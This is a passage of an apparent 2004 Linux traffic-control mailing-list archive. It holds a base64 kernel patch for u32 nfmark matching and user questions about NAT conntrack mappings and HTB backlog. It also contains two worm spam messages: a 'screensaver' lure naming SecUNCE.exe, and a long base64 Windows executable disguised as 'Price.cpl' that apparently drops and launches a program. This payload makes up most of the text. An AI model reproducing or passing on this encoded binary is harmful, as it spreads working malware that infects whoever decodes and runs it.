CW9mZnNoaWZ0Ow0KIAl1bnNpZ25lZCBjaGFyCQlua2V5czsNCisJX191MzIJ
CQltYXJrOw0KIA0KIAlfX3UxNgkJCW9mZm1hc2s7DQogCV9fdTE2CQkJb2Zm
Ow0K

---1646943047-1849353369-1099654713=:19155
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="net-match-nfmark-in-u32.patch"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.61.0411051338331.19155@webhosting.rdsbv.ro>
Content-Description: 
Content-Disposition: attachment; filename="net-match-nfmark-in-u32.patch"

LS0tIGxpbnV4Lm9yaWcvbmV0L3NjaGVkL2Nsc191MzIuYwkyMDA0LTEwLTE5
IDAwOjUzOjQ1LjAwMDAwMDAwMCArMDMwMA0KKysrIGxpbnV4L25ldC9zY2hl
ZC9jbHNfdTMyLmMJMjAwNC0xMS0wNSAxMjoxNDozMS4wMDAwMDAwMDAgKzAy
MDANCkBAIC0yNyw2ICsyNyw3IEBADQogICoJSkhTOiBXZSBzaG91bGQgcmVt
b3ZlIHRoZSBDT05GSUdfTkVUX0NMU19JTkQgZnJvbSBoZXJlDQogICoJZXZl
bnR1YWxseSB3aGVuIHRoZSBtZXRhIG1hdGNoIGV4dGVuc2lvbiBpcyBtYWRl
IGF2YWlsYWJsZQ0KICAqDQorICoJbmZtYXJrIG1hdGNoIGFkZGVkIGJ5IENh
dGFsaW4odXggYWthIERpbm8pIEJPSUUgPGNhdGFiIGF0IHVtYnJlbGxhLnJv
Pg0KICAqLw0KIA0KICNpbmNsdWRlIDxhc20vdWFjY2Vzcy5oPg0KQEAgLTEz
OSw2ICsxNDAsMTEgQEAgbmV4dF9rbm9kZToNCiAJCW4tPnBmLT5yY250ICs9
MTsNCiAJCWogPSAwOw0KICNlbmRpZg0KKwkJaWYgKChuLT5zZWwubWFyayA+
IDApICYmIChuLT5zZWwubWFyayAhPSBza2ItPm5mbWFyaykpIHsNCisJCQlu
ID0gbi0+bmV4dDsNCisJCQlnb3RvIG5leHRfa25vZGU7DQorCQl9DQorDQog
CQlmb3IgKGkgPSBuLT5zZWwubmtleXM7IGk+MDsgaS0tLCBrZXkrKykgew0K
IA0KIAkJCWlmICgoKih1MzIqKShwdHIra2V5LT5vZmYrKG9mZjIma2V5LT5v
ZmZtYXNrKSlea2V5LT52YWwpJmtleS0+bWFzaykgew0KLS0tIGxpbnV4Lm9y
aWcvaW5jbHVkZS9saW51eC9wa3RfY2xzLmgJMjAwNC0xMC0xOSAwMDo1Mzow
Ny4wMDAwMDAwMDAgKzAzMDANCisrKyBsaW51eC9pbmNsdWRlL2xpbnV4L3Br
dF9jbHMuaAkyMDA0LTExLTA1IDExOjAwOjI3LjAwMDAwMDAwMCArMDIwMA0K
QEAgLTIwOCw2ICsyMDgsNyBAQCBzdHJ1Y3QgdGNfdTMyX3NlbA0KIAl1bnNp
Z25lZCBjaGFyCQlmbGFnczsNCiAJdW5zaWduZWQgY2hhcgkJb2Zmc2hpZnQ7
DQogCXVuc2lnbmVkIGNoYXIJCW5rZXlzOw0KKwl1MzIJCQltYXJrOw0KIA0K
IAlfX3UxNgkJCW9mZm1hc2s7DQogCV9fdTE2CQkJb2ZmOw0K

---1646943047-1849353369-1099654713=:19155--

From joeask@gmx.de  Sat Nov  6 02:34:35 2004
From: joeask@gmx.de (joeask)
Date: Sat, 06 Nov 2004 03:34:35 +0100
Subject: [LARTC] ppp nat mappings
Message-ID: <418C383B.9000307@gmx.de>

Hi all,

i hope i'm not totally wrong on this list.

I setup a NAT router with the help of adsl-setup and shorewall. I've got 
a ppp link to the net and shorewall created the iptables. after a 
reconnect of the ppp link i get a new ip-address, but as long as the 
existing kernel udp mappings| which were create by outgoing udp traffic| 
don't get timed out, the router sends out udp packets belonging to this 
mapping still contain the previous public ip-address.

i can see this in /proc/net/ip_conntrack and ethereal:


udp      17 178 src=192.168.0.160 dst=217.10.79.9 sport=5060 dport=5060 
src=217.10.79.9 dst=80.135.x.y sport=5060 dport=5060 [ASSURED] use=1

but 80.135.x.y was my ipaddress some hours ago. if i stop sending udp 
packets for about 5 minutes, the mapping is gone and replaced by a 
mapping containing the correct public ip address.

ethereal shows, that the source address of the outgoing udp packets is 
the old address, so i'm spoofing my ip address.

the kernel should notice that the ipaddress belonging to the mapping 
changed and remove the mapping, shouldn't it?

Any suggestions on how to solve this problem?

Thanks,

joe




From gypsy@iswest.com  Sat Nov  6 19:48:54 2004
From: gypsy@iswest.com (gypsy)
Date: Sat, 06 Nov 2004 11:48:54 -0800
Subject: [LARTC] What determines DROP versus delay ("BACKLOG")?
Message-ID: <418D2AA6.68F2871C@iswest.com>

HTB:

class htb 1:40 parent 1:1 leaf 40: prio 3 rate 358Kbit ceil 529Kbit \
burst 6Kb cburst 2260b
 Sent 145871726 bytes 97293 pkts (dropped 69, overlimits 0)
 rate 56741bit 37pps backlog 23p
 lended: 77429 borrowed: 19841 giants: 0

I would like to increase "backlog" because I think that would decrease
"dropped".  23 packets of 1500 bytes each is only 34,500 bytes.  IMO,
there could be up to 64K bytes.

1) What determines backlog?
2) How can it be altered?
3) Am I on the right track here?

gypsy

From stef.coene@docum.org  Sat Nov  6 20:26:20 2004
From: stef.coene@docum.org (stef.coene@docum.org)
Date: Sat,  6 Nov 2004 21:26:20 +0100 (CET)
Subject: [LARTC] Hi, my darling :)
Message-ID: <20041106202620.71E903F68@outpost.ds9a.nl>

Look at my new screensaver. I hope you will enjoy...
	Your Liza 
MIME-Version: 1.0
Content-Type: multipart/mixed; 
	boundary="----=_NextPart_000_0009_CFD3D4F6.C8D4B505"
X-Priority: 3
X-MSMail-Priority: Normal

This is a multi-part message in MIME format.

------=_NextPart_000_0009_CFD3D4F6.C8D4B505
Content-Type: text/plain;
       	charset="windows-1252"
Content-Transfer-Encoding: 7bit

RE: 


------=_NextPart_000_0009_CFD3D4F6.C8D4B505
Content-Type: application/x-msdownload; name="SecUNCE.exe"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="SecUNCE.exe"



------=_NextPart_000_0009_CFD3D4F6.C8D4B505--



From roy@xxx.lt  Mon Nov  8 07:08:03 2004
From: roy@xxx.lt (Roy)
Date: Mon, 08 Nov 2004 09:08:03 +0200
Subject: [LARTC] Re:
Message-ID: <watrnlvjaralzuqsglh@mailman.ds9a.nl>

----------ysovqiqdsfhkapnznvep
Content-Type: text/html; charset="us-ascii"
Content-Transfer-Encoding: 7bit

<html><body>
:)

<br>
</body></html>

----------ysovqiqdsfhkapnznvep
Content-Type: application/octet-stream; name="Price.cpl"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="Price.cpl"

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g
RE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAA+kgUEAAAAAAAAAAOAADiELAQUMAAwAAAAC
AAAAAAAAQBUAAAAQAAAAIAAAAAAAEAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAE98AAAAAgAA
AAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAADwUAAA8AAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAACAAACwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAACYFAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50
ZXh0AAAAIAoAAAAQAAAACAAAAAIAAAAAAAAAAAAAAAAAACAAAOAucmVsb2MAACoAAAAAIAAA
AAIAAAAKAAAAAAAAAAAAAAAAAABAAABCAAAAAAAAAABPTAAAADAAAE9MAAAADAAAAAAAAAAA
AAAAAAAAIAAA4AAAAAAAAAAAAAAAAAAAAABvcGVuAGZkZmRmZGdqa3RqeWZqZ3ZkaHR5dXJm
ZmhneXR1a2doY2dkaHlyaXV0eWxoa2poZmp5cnVrZ2p2anV0bGhraGZ1a2dqaGZmeXV0aW95
amdoamh5dXRnamtoZnVrdGl5bGhqZ2ZkZmRmZGdoZ2hqeXVydXRpZ2toZmpndHVpdGtnaGp5
dXRpdmpma2hnaGR5amdoZ2ZqaGtna2poZ2prZnRqcmZqaGdmamhuYmhmZHJ2YmZudmRmZ2Jm
dmZiaG1iZ25idmdoZ2Z2aGdkamdmZGZkZmRnaGdoamZrdXV0amJ5cnlyeXZ3YmF2c3Rlc2h2
c3Ryc3RyaHZydHdzdGh2ZHNocnZzaHJ0cmhzaHJkaGZkZ2ZqZ2ZkZmRmZGdoZ2hqZmdoam1m
a3V0Ynl0eXV0YnV5dXlydHJ0cnl0cnl0eXZlcnRydHRnZnJ0cnR5cnl0amdmZGZkZmRnamdm
aGpoamdra2pramtoamhramhmanlydWtnanZqdXRsaGtoZnVrZ2poZmZ5dXRpb3lqZ2hqaHl1
dGdqa2hmdWt0aXlsaGpnZmRmZGZkZ2hnaGp5dXJ1dGhqa2poa2hqa2xveXR5dXZqZmtoZ2hk
eWpnaGdmamhrZ2tqaGdqa2Z0anJmamhnZmpobmJoZmRydmJmbnZkZmdiZnZmYmhtYmduYnZn
aGdmdmhnZGpnZmRmZGZkZ2hnaGpma3V1dGpieXl1ABAAAAwAAADFNQAAZmV0ZXJ5dGV5Zmdl
eXV0cnVpanN0cmh2cnR3c3RodmRzaHJ2c2hydHJoc2hyZGhmZGdmamdcY2plY3Rvci5leGUA
ZmRmZGZkZ2hnZ2ZnZmpmamdqa2draGtqaGxraGxramxraGtoa2xqaGxramhsa2poamdmZGZk
ZmZoZ2ZqaGZoZ2Zoamtna2toZ2RzaGZqZ2tobGprZmhobWZjZ2ZoZ2hqa2psZmhnamtqZ2Zz
ZGdoampoa2xrO2xramxrZ2poa2xqZ3l0a3VnamhmeWpnZmpoZmhyZmpoeWZ0cnRocmZ0aGdm
aHRoaGpra2pramdoa3Vqb3VpbGhqa2poeWt1aGtmaHRkZmh0cmpnamh5cmZodHJ0anlydHJ0
aHJ0eWVodGVlcmVkZ2ZkaGZkaGdkaHRkaHNlZ3JkcmVkaGZ5anJ0aGpnZmRmZHN5dHJ5cnRo
ZmdiZmdoZ2draGxqa2ZoaG1mY2dmaGdoamtqbGZoZ2pramdmc2RnaGpqaGZnZmdqanV0eWl5
dWlpaXl0a3VnamhmeWpnZmpoZmhyZmpoeWZ0cnRocmZ0aGdmaHRoaGpra2pramdoa3VpdXlk
ZnVqdHlrZ2pkc3dldHRlaGZnaGpnaHVneWpmZ2hmZ2h0cnRqeXJ0cnRocnR5ZWh0ZWVyZWRn
ZmRoZmRoZ2RodGRoc2VncmRyZWRoZnlqcnRoamcAeBQAAAAAAAAAAAAAEBUAAJgUAACQFAAA
AAAAAAAAAAAuFQAAsBQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAxBQAANIUAADgFAAA+BQAAAQV
AAAAAAAAHhUAAAAAAADEFAAA0hQAAOAUAAD4FAAABBUAAAAAAAAeFQAAAAAAAHVzZXIzMi5k
bGwAABoAQ2xvc2VIYW5kbGUAMABDcmVhdGVGaWxlQQBiAUdldFdpbmRvd3NEaXJlY3RvcnlB
AACeAldyaXRlRmlsZQC1AmxzdHJjYXRBAABrZXJuZWwzMi5kbGwAAGcAU2hlbGxFeGVjdXRl
QQBzaGVsbDMyLmRsbAAAAAAAAABVi+yDfQwBdUhoAAQAAGggFgAQ6KIAAAAzwmhhEgAQaCAW
ABDonQAAAEFoIBYAEOgmAAAAC8B0GffQagBqAGoAaCAWABBoABAAEGoA6HsAAAC4AQAAAMnC
DABVi+yDxPhTVjPbagBqAGoCagBqA2gAAADA/3UI6DkAAACQiUX4QHQjM8K+ADAAEK2SagCN
RfxQUlb/dfjoJQAAAEj/dfjoCgAAAEOLw15bycIEAMz/JZgUABD/JZwUABD/JaAUABD/JaQU
ABD/JagUABD/JbAUABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAgAAAATzVbNWA1azWBNYY18DX2Nfw1AjYINg42
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0wAAE1a
AAABAAAAAgAAAP//AABAAAAAAAAAAEAAAAAAAAAAtEzNIQAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAEAAAABQRQAATAEFAAAAAAAAAAAAAAAAAOAADwELAQAAADoAAABKAAAAAAAAAKAAAAAQ
AAAAUAAAAABAAAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAAL1AAAAAgAAAAAAAAIAAAAAABAA
ABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAJyiAADRAAAAAPAAAAIFAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAUAAAsAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAA6AAAAAAAAujkAAAAQ
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAMAADAAAAAAAAPIKAAAAUAAAAAAAAAAAAAAAAAAA
AAAAAAAAAABAAADAADAAAAAAAAB1PAAAAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAwAAA
AAAAAAAAAFAAAACgAAAARAAAAAIAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAAAIFAAAA8AAA
AgUAAABGAAAAAAAAAAAAAAAAAAAgAADgYOgBAAAA6IPEBOgBAAAA6V2B7dkhQADobwIAAOjr
COsCzSD/JCSaZr5ycugBAAAAmlmNlUYiQADoAQAAAGlYZr9zZ+gqAgAAjVL56AEAAADoW2jM
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
